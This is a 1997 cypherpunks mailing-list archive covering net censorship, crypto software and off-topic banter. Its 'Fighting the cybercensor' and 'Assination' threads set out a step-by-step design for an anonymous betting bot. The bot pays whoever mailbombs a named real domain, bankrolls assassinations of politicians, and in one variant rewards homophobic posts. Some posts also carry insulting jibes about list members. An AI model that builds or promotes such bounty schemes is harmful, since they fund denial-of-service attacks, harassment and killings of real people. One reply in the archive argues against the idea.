> cure for 'list-focus-drift' is more on-focus postings".

THE PRICE OF FREE SPEECH IS TOLERANCE OF IDEAS THAT WE MAY
OBJECT TO.

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 26 Jan 1997 19:58:05 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Fighting the cybercensor
Message-ID: <199701270358.TAA06799@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> jim bell <jimbell@pacifier.com> writes:
> > Look, I've proposed what I consider to be a remarkably consistent method to
> > prevent the kind of political tyranny that you criticize, and I don't see
> > any recognition of this fact.

> I said many times that I find AP a very interesting notion, worthy of study.
> Given how fast online gambling is growing, how soon do we have to wait for
> a web site for taking bets on deaths of politicians and other prominents?
> Why not set one up, using "funny money" not convertible to anything?

If AP could really work, and AP is enabled by strong p-k crypto,
that fact alone would justify the Washington boys doing *everything*
in their power to stop *real* crypto (i.e., no back doors).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sun, 26 Jan 1997 18:25:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: US Info Supremacy
Message-ID: <199701270225.SAA03528@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc <blancw@cnw.com> writes:

> From:	John Young
>
> Hello, Tim May and our other solons and Solomons.
> ........................................
>
> He must be on vacation; he hasn't posted in quite a while.

Other conjectures:
* dead from AIDS
* abducted by aliens, held captive in a flying saucer
* moderated so heavily, his rants don't even make it to cypherpunks-unedited

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 26 Jan 1997 18:42:37 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Fighting the cybercensor
Message-ID: <199701270242.SAA04198@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> 
> "I have a solution to that problem."
> 
> Seriously!  
> 
> Look, I've proposed what I consider to be a remarkably consistent method to 
> prevent the kind of political tyranny that you criticize, and I don't see 
> any recognition of this fact.  
> 

Jim, why don't you stop bullshitting and write a real assassination
bot. [as a beta, it can be a mailbombing bot] This bot would:

1) Accept bets as combinations of
	a) Some amount of cybercash
	b) A string that identifies an event that should happen
	   such as "domain X is mailbombed"
	c) [optional] date of that event (no date means that you always 
           lose)
	d) Return address (possibly a nym address) to send
	   all cash from UNSUCCESSSFUL bets for the event in 
	   question.
	e) [optional] time limit after which the cash will be refunded.

Note that for simplicity, the bot should identify the event as 
a unique string, without any understanding of any semantics of that
string.

2) Store these bets in a database.

3) Have a trusted party (someone really honest, like myself) report to
the bot the signed strings that, in the opinion of the trusted party,
are "true".

4) Upon receipt of such event notifications, the bot will find all bets
and forward them to the better whose date prediction was the closest.
If several betters predicted the same date, the money is split between
them in proportion to the amount of moneys submitted.

Examples of use: Suppose I do not like The Right Reverend Colin James III,
cjames@cec-services.com. I have a lot of money, but do not know how to 
mailbomb. I set some nym address as my return address (for refunds if
CJ3 is not mailbombed within half a year).

I place a bet with $1000 worth of money and phrase "domain cec-services.com
disabled". The date would be open which means that I will always be the
loser. I also post a message (anonymously) saying that anyone who wants
to mailbomb TRRCJ3 can be rewarded through your assassination bot.

Someone with more knowledge of computers, a T1 link and no money will
be lured, submit a bet for, say, Feb 1, and on the 1st will start fierce 
mailbombing of cec-services.com. The return address will, of course, be
a nym.

The fact of mailbombing would become apparent when CEC-SERVICES's MX
DNS record is pulled off. The trusted party will send a phrase
(standardized) "domain cec-services.com disabled" to the bot. The bot
sends my money to the mailbomber through his nym address.

I estimate that this bot would take about 2000 lines of perl. You may need
to use some real database, like postgres or sybase.

Use a nym for it. It will take a while for this bot to develop a 
reputation (remember, there is real money involved!).

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 18:40:43 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Jim Choate Speaks Out on My Part of the Net
Message-ID: <199701270240.SAA04129@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> > From: Bill Stewart <stewarts@ix.netcom.com>
> >
> > Nonsense - the net doesn't "belong" to "Singapore or China" -
> 
> The part of it that comes out of their pocketbook does. Just like the part of
> 'the net' that I pay for belongs to me. 
> I have the right to do whatever I want to anything that comes through my part
> of the net, including censoring or editing any mail that comes through it, so
> that it reflects a point of view consistent with mine, since I am the one
> paying for it.

> The net is a bunch of computers,
> running software, hooked together over cables and other links. Each and
> EVERY ONE of these require installation, upkeep, repair, and utility
> support. This costs money. He who pays the money owns the net, everybody
> else is along for the ride.
> Those who pay the money, like myself and others who have bought the right
> to control the net, are justified in acting without outside interference
> on anything that passes through our part of the net.

> If we take your argument to its logical conclusion then once a box goes on
> the net it belongs to nobody/everybody. Clearly utter nonsense.
> The net belongs to those with the money to control it, and people who do
> not have money have no rights on the net.

> If you really and truly believe that the net belongs to everyone and nobody
> has a right to limit or otherwise control the hardware and software along
> with the associated comm links they own and pay for then you obviously don't
> understand what is going on.
> For instance, since Toto pays for the hardware and software that comprises
> his part of the net, he is free to limit, control, and edit for content,
> anything that passes through his part of the net.
> Although I sometimes disagree with Toto because of my limited ability to
> understand things on a conceptual level, his rugged good looks, charm,
> and superior intelligence show that he should be allowed to control his
> own privately owned part of the net and anything that passes through it.

>                                                  Jim Choate
>                                                  CyberTects
>                                                  ravage@ssz.com

Jim,
 Thank you for your support in my efforts to exert supreme control over
the part of the net that I have paid for.
 I am sure that you will continue to fight for the right of myself and
the government of Singapore to use that control for whatever purpose
they choose.
 As you can see above, I have enhanced your posting so that it more
closely conforms to the beliefs that my paid-for part of the net was
set up to espouse.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Howard Campbell <woody@hi.net>
Date: Sun, 26 Jan 1997 22:57:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: re: fighting the cybercensor
Message-ID: <199701270657.WAA13589@toad.com>
MIME-Version: 1.0
Content-Type: text/plain






A recent publication "The Sovereign Individual"('97) discusses many of the issues discussed on Cypherpunks. The authors, James Dale Davidson and Lord William Rees-Mogg, sketch the likely totalitarian  scenarios that will emerge in the coming years. Just as we see every day in the media, they predict that we ain't seen nothing yet when it comes to the attempts to regulate cyberspace, cryptography,  and the content of online information. Portraying cellular phone triangulation as a public health concern, etc.,  are just the beginning. 
The authors also  paint a bleak picture for blanc's  'True Believer' types. They will continue to be milked "as a farmer milks his cows" while those with  techno-savvy and  'extranational' savoir faire will  grow wings and take their wealth and marketable skills to other jurisdictions where predatory taxmen and arbitrary civil forfeiture laws don't exist. 
The book is sort of Toffleresque, but written better and full of historical parallels that help the reader to understand social upheavals of the past and  how the demise of failing contemporary institutions are likely to affect Joe windowz95. 
Example: chapter 4- "The Last Days of Politics: Parallels Betwen the Senile Decline of the Holy Mother Church and the Nanny State".

aloha,
wc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sun, 26 Jan 1997 18:29:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701270229.SAA03755@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks-errors@toad.com writes:

> Dale Thorn wrote:
> > 1. The subscribers have spoken by staying put, or,
> > 2. The subscribers are so lazy and unaware of what's going on that
> >    they've just left things as is.
>
> > Now, in my opinion, we've come to this:  Some people here will hold
> > the optimistic view of the bulk of the subscribers, and others will
> > hold the pessimistic view (the bulk will presumably be in-between).
>
> In case of 2, they are probably not worthy of your help.

I wholeheartedly agree.  By now everyone's painfully aware that there
are 3 mailing lists.  It's not my responsibily (or Dale's) to encourage
cypherpunks subscribers to do what I think is best for them - resubscribe
to cypherpunks-unedited.  Folks who choose to let Sandy choose what they
read and don't read should be free to do that.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Zer <satan_is_a_hacker@juno.com>
Date: Sun, 26 Jan 1997 18:25:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Text files
Message-ID: <199701270225.SAA03507@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ho was the one who wanted a list of my texts? I deleted the message
accidentally





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sun, 26 Jan 1997 18:28:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701270228.SAA03698@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell <jimbell@pacifier.com> writes:
>
> Look, I've proposed what I consider to be a remarkably consistent method to
> prevent the kind of political tyranny that you criticize, and I don't see
> any recognition of this fact.

I said many times that I find AP a very interesting notion, worthy of study.
Given how fast online gambling is growing, how soon do we have to wait for
a web site for taking bets on deaths of politicians and other prominents?
Why not set one up, using "funny money" not convertible to anything?

> For the benefit of the masses, the AP ("Assassination Politics") solution
> to, for example, the Iraq problem would be to allow anyone and everyone in
> the world to donate money towards the death of Saddam Hussein, and any
> leadership which survives him, until that leadership satisfies the public
> that they won't be following in Hussein's footsteps.  Simple.  Economical.
> And, dare I say it, fair.

I have much respect for Saddam Hussein. I understand he's more admired by
Iraqi people than, say, the kkklintons are by American people. Saddam even
commands the respect of his Iranian enemies.

> I believe that the Coalition spent $60 BILLION dollars doing the Iraq war,
> and they didn't even get rid of Saddam.  I'm sure AP would have done the
> task for under $100 million, and possibly far less. (and that money would
> have been collected by donation, not stolen in taxes.  Much of that money
> would have come from the Iraqi people themselves, BTW.)

I doubt that they would collect much among the Iraqis: both because Saddam
is pretty popular, and because they don't have much cash, thanks to the
sanctions. I doubt they'd collect billions or even millions in the Western
countries. These were involuntary taxes. Do people really hate Saddam so
much as to bet that he'll live and hope to lose their bets to an assassin?
I doubt it. And you can't do the standard fundraising trick of collecting
some funds, then using them to run media ads soliciting more funds.

I suppose Kiwaiti and Saudi sheikhs might bet a few million.

(I hate these guys - I'd like to bet on the continuing existence of a
basket of sheikhs :-)

>  There would be few if any civilian casualities, no hunger or poverty caused
> among the people.  Even their soldiers would be relatively unaffected,
> except that their militaries (as well as ours) would be disbanded.
>
> Reminds me of the punchline to that joke.
>
> "He sent two boats and a helicopter!  What more did you want?!?"

Was it really Bush's goal to topple Saddam's government and bring in
a U.S.-friendly one that would need billions of dollars of aid?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 26 Jan 1997 18:26:08 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: overview.htm (fwd)
Message-ID: <199701270226.SAA03551@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 26 Jan 1997, Igor Chudov @ home wrote:

> Nurdane Oksas wrote:
> > 	i think it's good also to exercise outdoors as well as your
> > 	indoor nordictrack machines..sun and air is esp. necessary;
> 
> but remember, tanning will kill ya.
	
	Yes it will; Not a fan of tanning myself...it also causes lots
	of skin problems, have seen women age too soon tanning;

	we don't go outside naked here in NorthEast...do remember;


	love,

	oksas!	
	






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Frank Willoughby <frankw@in.net>
Date: Sun, 26 Jan 1997 18:26:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: WinKrypt
Message-ID: <199701270226.SAA03590@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Out of curiosity, is anyone familiar with WinKrypt by Syncronsys?

I picked up a copy & there is no mention in the documentation which
encryption algorithm it uses & what the key lengths are. FWIW, my 
impression is that the documentation seems to deliberately avoid
mentioning the algorithm/key lengths.  Hmmmm.  (food for thought)

I was curious how it compares to McAfee's PC Crypto which uses 
40-bit DES or 160-bit Blowfish (user-chooses) & other PC/laptop
encryption products.  BTW, I would also appreciate your input 
on any crypto products which you believe to be robust, easy-to-use 
& secure.  (I know I can only have 2 out of 3, but it's worth a try 
anyway).  8^)  

Please send marketing info to me directly at: frankw@in.net and 
**NOT** to the entire mailing list.

(BTW, I mentioned WinKrypt & PCcrypo because they are the only
two which are available at many computer stores as COTS s/w).

TIA for your help.

Best Regards,


Frank






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Sun, 26 Jan 1997 21:55:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Xerox is watching you
Message-ID: <199701270555.VAA11234@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


You'll find an article worth a visit to the dentist in the January
1997 issue of Popular Science. It tells a story from the 1960's
cold war era.

It seems that the only American who could get into the Soviet
Embassy was the Xerox repairman. So the CIA and Xerox built
a camera that took a picture of every copy that could be installed
inside the 914 cabinet (where it would be invisble). Once a month,
the repairman came by to do the ordinary cleaning and repair
(those things broke down a lot). Part of the repair process exchanged
the camera for a fresh load. The CIA could then read everything that
was copied.

The article suggests that other Xerox models had their own
cameras. My back of the envelope (literally) computation suggests
that one roll of 8-millimeter film would hold about 30,000 images.

Martin Minow
minow@apple.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 19:58:10 -0800 (PST)
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: (Fwd) Just Say No to Telcom "Reform"
Message-ID: <199701270358.TAA06802@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Ross Wright forwarded:
 
> President Clinton and Congress promised the American people that
> enactment of the Telecommunications Reform Act would lead to a
> cornucopia of technological innovations that would change the nation's
> cultural frontiers, expand our choices, dazzle our eyes, and inform
> our minds.  Instead, we've been censored in cyberspace, subjected to
> TV ratings systems, and prevented from experiencing the benefits of a
> truly competitive marketplace by the emergence of "cartels" created by
> mega-mergers in the telecommunications and media industries.

  Surprise, surprise!
 
> This is not reform!  And it's not too late to demand that our decision
> makers deliver on what they promised us on February 8, 1996:

  Yes it is.
  Nobody in politics gives up the ground they've gained. The fact that
they were able to hose the citizens the first time around only 
reinforces their certainty that they can continue to do so.
  While people are still fighting the earlier, lost battles, they are
preparing for the next one.
  I fully support anyone who wants to continue to fight past battles,
present battles, and future battles, on the level of surface politics.
But I think that their efforts are most effective if they add the
tools and weapons developed by the underground to their battles.
  Let them know that if they want to censor you, they will have to
censor your 'strong' crypto. Even if you choose to fight by showing
up with your gun on your hip, at high-noon, it still doesn't hurt to
have one tucked in your boot, as well.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 20:14:09 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Fighting the cybercensor
Message-ID: <199701270414.UAA07488@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
 
> How does one country get on top and terrorize the whole world?  By
> following Tom Wolfe's intimation concerning the pirates: "The people
> on the East coast were constantly victimized because they couldn't
> comprehend just how vicious and ruthless the pirates really were"
> (quote approximate).

Dale,
  When I read posts like this, I wonder how any rationally thinking
person can possibly believe that socio/politico concerns have no
place in the discussion of crypto.
  It is my belief that many of the more atrocious acts being performed
against the citizens by various governments are made possible by the
fact that there are so few people who recognize a 'pirate' when they
see one.
  While I appreciate that there are those who may be furthering the
cause of crypto, privacy and freedom through official channels, the
controlled media, and such, there needs to be a forum in which 
people are free to use what they consider to be the 'correct'
terminology to refer to those who have usurped democracy in order
to control the citizens for their own personal profit.
  i.e. 'Pirates'

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 26 Jan 1997 19:56:03 -0800 (PST)
To: dthorn@gte.net
Subject: Re: overview.htm (fwd)
Message-ID: <199701270356.TAA06648@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> BTW, if y'all can't stay away, I have a list of So. Cal. nude beaches,
> approx. 3 years old.
> 

would appreciate

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 26 Jan 1997 19:55:50 -0800 (PST)
To: Nurdane Oksas <oksas@asimov.montclair.edu>
Subject: Re: overview.htm (fwd)
Message-ID: <199701270355.TAA06621@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas wrote:
> 	California is know for very beautiful girls ... 

wrong.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sun, 26 Jan 1997 19:57:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
Message-ID: <199701270357.TAA06744@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:
>
> Jim, why don't you stop bullshitting and write a real assassination
> bot. [as a beta, it can be a mailbombing bot] This bot would:

I think this would be a very good demo project, but mailbombing may not
be the best choice...

> 1) Accept bets as combinations of
> 	a) Some amount of cybercash

Be careful about violating Chaumian patents... How about using funny
money in the prototype? Or, look at some of the micropayment schemes.

> 	b) A string that identifies an event that should happen
> 	   such as "domain X is mailbombed"

Not a good idea (see below).

> 	c) [optional] date of that event (no date means that you always
>            lose)

I think the date must always be specified, and the event must occur
(or not occur) on or before that date.

> 	d) Return address (possibly a nym address) to send
> 	   all cash from UNSUCCESSSFUL bets for the event in
> 	   question.
> 	e) [optional] time limit after which the cash will be refunded.
>
> Note that for simplicity, the bot should identify the event as
> a unique string, without any understanding of any semantics of that
> string.

I think we should think about the kinds of events that a 'bot can verify.

> 2) Store these bets in a database.
>
> 3) Have a trusted party (someone really honest, like myself) report to
> the bot the signed strings that, in the opinion of the trusted party,
> are "true".

Why not start with a less destructive event... For example,
"on or before <date> a Usenet article will appear in newsgroup X
saying Y".  That's something the 'bot can verify and anyone with
access to dejanews and the like can confirm. Eliminating the need
for a trusted human is always desirable.

> 4) Upon receipt of such event notifications, the bot will find all bets
> and forward them to the better whose date prediction was the closest.
> If several betters predicted the same date, the money is split between
> them in proportion to the amount of moneys submitted.

Have you ever dealt with a bookie?

I think there need to be two distinct operations:

1. A user can create a new kind of event. For a fixed fee F, one can enter
a new event into the table of events that can be bet on. (In a more
generalized system, the creator might also specify the third party that
determines whether or not the event took place.)

A human bookie decides which events can be bet on (based mostly on the
tradition and supply/demand). Here we let users bet on anything they
want as long as they're willing to may be bookiebot for keeping track
of who bet how much $ that the event will or will not happen.

In fact, when creating an event, the user must immediately bet an amount
>$F and the house enters an opposing bet for $F (or slightly less).

2. A user can bet $B that an existing event will/will not happen.
Bookiebot accepts the $B and promises to pay back an amount that's a
function of $B and the current amounts bet so far on yes and no
(or escrows the winning with a 3rd party).

I'll let Jim et al figure out how to compute the odds when there are
offsetting bets for the same event at two different times.
E.g. E1:"Saddam Hussen will die before April 1" and E2:"ditto June 1"; if the
first one occurs, then the second one occurs too. If a lot of money is
bet on E1, it should somehow affect E2 odds too. Also the bookiebot
should never lose money no matter what the outcome; all the winnings
should come from the losers' bets.

> Examples of use: Suppose I do not like The Right Reverend Colin James III,
> cjames@cec-services.com. I have a lot of money, but do not know how to
> mailbomb. I set some nym address as my return address (for refunds if
> CJ3 is not mailbombed within half a year).
>
> I place a bet with $1000 worth of money and phrase "domain cec-services.com
> disabled". The date would be open which means that I will always be the
> loser. I also post a message (anonymously) saying that anyone who wants
> to mailbomb TRRCJ3 can be rewarded through your assassination bot.

Here's an improved scenario. Say I pay the bot $10 to create the event
"a homophobic article will appear in soc.motss by April 1".
Then I bet $1000 that the event will NOT occur to skew the odds.

> Someone with more knowledge of computers, a T1 link and no money will
> be lured, submit a bet for, say, Feb 1, and on the 1st will start fierce
> mailbombing of cec-services.com. The return address will, of course, be
> a nym.

Someone looking to make a quick buck browses through the list of events
and odds in the bookiebot and sees the very skewed odds for a homophobic
article on soc.motss. He bets a small amount that the article will appear,
so he gets really good odds. Then he posts an article that's recognized
as the event, and collects a winning much larger than his bet.

But if this doesn't happen, I get almost all of my $1000 investment back.
In either event the bookiebot made a small profit for its owner.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 26 Jan 1997 19:56:30 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Fighting the cybercensor
Message-ID: <199701270356.TAA06711@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
[...] 
> Examples of use: Suppose I do not like The Right Reverend Colin James III,
> cjames@cec-services.com. I have a lot of money, but do not know how to 
> mailbomb. I set some nym address as my return address (for refunds if
> CJ3 is not mailbombed within half a year).
> 
> I place a bet with $1000 worth of money and phrase "domain cec-services.com
> disabled". The date would be open which means that I will always be the
> loser. I also post a message (anonymously) saying that anyone who wants
> to mailbomb TRRCJ3 can be rewarded through your assassination bot.
> 
> Someone with more knowledge of computers, a T1 link and no money will
> be lured, submit a bet for, say, Feb 1, and on the 1st will start fierce 
> mailbombing of cec-services.com. The return address will, of course, be
> a nym.

	That's my birthday...

	have a great week ahead everyone!








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 26 Jan 1997 19:59:55 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: overview.htm (fwd)
Message-ID: <199701270359.TAA06867@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 26 Jan 1997, Dale Thorn wrote:

> Nurdane Oksas wrote:
> > On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > > Nurdane Oksas wrote:
> > > >     i think it's good also to exercise outdoors as well as your
> > > >     indoor nordictrack machines..sun and air is esp. necessary;
> 
> > > but remember, tanning will kill ya.
> 
> >         Yes it will; Not a fan of tanning myself...it also causes lots
> >         of skin problems, have seen women age too soon tanning;
> >         we don't go outside naked here in NorthEast...do remember;
> 
> The real babes in So. Cal. go to tanning salons. That way the evenly-
> distributed tan looks best with, say, a pure white bikini.  You can
> go to the beach, of course, and hang out with the hoi polloi, but
> it's mostly kids with pimples and stuff.

	i don't see why she would wear a bikini if she already is tan.
	She just goes to show off right???  California is know for
	very beautiful girls ... 
	I like the pale look :)
> 
> BTW, if y'all can't stay away, I have a list of So. Cal. nude beaches,
> approx. 3 years old.

	only if you join us .. ;)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 26 Jan 1997 20:55:54 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Assination
Message-ID: <199701270455.UAA08928@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Dale Thorn <dthorn@gte.net> writes:
> > > Given how fast online gambling is growing, how soon do we have to wait for
> > > a web site for taking bets on deaths of politicians and other prominents?
> > > Why not set one up, using "funny money" not convertible to anything?
> >
> > If AP could really work, and AP is enabled by strong p-k crypto,
> > that fact alone would justify the Washington boys doing *everything*
> > in their power to stop *real* crypto (i.e., no back doors).
> 
> But they can't; and their efforts (ITAR, EAR, et al) are totally irrelevant
> and ineffective and not worth the time people spend fighting them.
> 
> A prototype AP betting server, first limited to very innocent events (like
> usenet postings containing certain regexps) and using "funny money" for bets,
> would be a good demo.

I have a feeling that you are missing the point. The point of AP 
is not to bet on whether a certain event will occur or not. The point 
is that only a person who really makes it happen (assassinates someone)
will know enough to get the money.

All other betters who do NOT intend to bring the event about will
expect to lose money, because they will not be able to make a
sufficiently good prediction.

It is not a bookie system, it is a collective anonymous hire-a-hitman 
scheme.

Yuor suggestion about trying a demo about homophobic posts is good, BUT
what needs to be added to make it a good demo is a danger for the poster
to lose an account. I.e., the requirement to such a homophobic post should
be that 1) it should be PGP signed by a real person and 2) it should 
have a correct return address.

Any fool can send an anonymous message, and that would have no 
educational value and no value for the AP demo.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 26 Jan 1997 20:55:55 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Jim Choate Speaks Out on My Part of the Net (fwd)
Message-ID: <199701270455.UAA08929@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> 
> 
> Forwarded message:
> 
> > Date: Sun, 26 Jan 1997 20:07:57 -0800
> > From: Toto <toto@sk.sympatico.ca>
> > Subject: Jim Choate Speaks Out on My Part of the Net
> > 
> > Jim Choate wrote:
> 
> > > If you really and truly believe that the net belongs to everyone and nobody
> > > has a right to limit or otherwise control the hardware and software along
> > > with the associated comm links they own and pay for then you obviously don't
> > > understand what is going on.
> 
> > > For instance, since Toto pays for the hardware and software that comprises
> > > his part of the net, he is free to limit, control, and edit for content,
> > > anything that passes through his part of the net.
> > > Although I sometimes disagree with Toto because of my limited ability to
> > > understand things on a conceptual level, his rugged good looks, charm,
> > > and superior intelligence show that he should be allowed to control his
> > > own privately owned part of the net and anything that passes through it.
> > 
> > >                                                  Jim Choate
> > >                                                  CyberTects
> > >                                                  ravage@ssz.com
> > 
> > Jim,
> >  Thank you for your support in my efforts to exert supreme control over
> > the part of the net that I have paid for.
> >  I am sure that you will continue to fight for the right of myself and
> > the government of Singapore to use that control for whatever purpose
> > they choose.
> >  As you can see above, I have enhanced your posting so that it more
> > closely conforms to the beliefs that my paid-for part of the net was
> > set up to espouse.
> 
> Are you aware that attributing statements in print to a party when that
> party did not write them is a crime?

cite the statute

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 22:10:53 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Internet, Countries, Nationalism, etc.
Message-ID: <199701270610.WAA11804@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:

> You can take a horse to water, you can't make him drink. You can drown him
> however. Then you are walking, not riding.

  Thanks for clearing this up for us, Jim.
  I know that a lot of CypherPunks have been wondering about this,
and many others as well. Hopefully, it will be posted on many
conferences to enlighted others, as well.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Mon, 27 Jan 1997 06:26:33 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <199701271426.GAA23803@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	jim bell (in response to Dimitri Vulis')

Look, I've proposed what I consider to be a remarkably consistent method to 
prevent the kind of political tyranny that you criticize, and I don't see
any recognition of this fact.
........................................................

1) Jim, why do you insist on discussing this on an forum for encryption?
2) Why do you suppose the Iraqis haven't already thought of doing this 
themselves?
3) The Mafia uses this method all the time - why then haven't they achieved 
a more rational society among themselves?
4) Weren't governments (like the U.S.) instituted to prevent this sort of 
thing (even if they don't work out as expected)? i.e., there were systems 
of courts and lawyers and such instituted to openly deal with "criminal" 
activity so that a) people could receive assistance against low-life 
degenerate killers, and b) it could be proven that the accused were indeed 
deserving of punishment.

Humans being what they are, this hasn't worked like it's supposed to, but 
the point is that there is a reason why such ideas for systems of justice 
were introduced in the first place.   That reason, as I eloquently read in 
a book, was "So That Reason May Live".  That is, so that people who choose 
to live in a "society" may do so by the method of solving problems through 
the application of intelligence, rather than merely knocking each other off 
because a voting majority decides they don't like someone.

Destructive people often ascend to positions of power not simply because 
they are ruthless, but because they have 1) many sycophantic followers and 
2) many ignorant, vulnerable people unable to prevent it.  You might be 
able to kill off  one Saddam, but potentially many others would be waiting 
in the wings to take his place.   The situation surrounding the existence 
of someone like Saddam is part of the contributing factors which keeps him 
there, not simply that one man himself.  It was the same with Hitler and 
with so many others  -  they don't just have an excess of  "power" 
concentrated within themselves which puts them in positions of control over 
others  - there will have been many people who will have helped put them 
there, expecting to derive benefits from it.

And what will be done about all those people who made this "power" 
possible?  You don't just kill the one man and be done with it - you have 
to also "kill" the conditions which maintained him.

    ..
Blanc







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Mon, 27 Jan 1997 06:25:36 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Jim Choate Speaks Out on My Part of the Net
Message-ID: <199701271425.GAA23738@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

Jim Choate wrote:
> For instance, since Toto pays for the hardware and software that comprises
> his part of the net, he is free to limit, control, and edit for content,
> anything that passes through his part of the net.

> Although I sometimes disagree with Toto because of my limited ability to
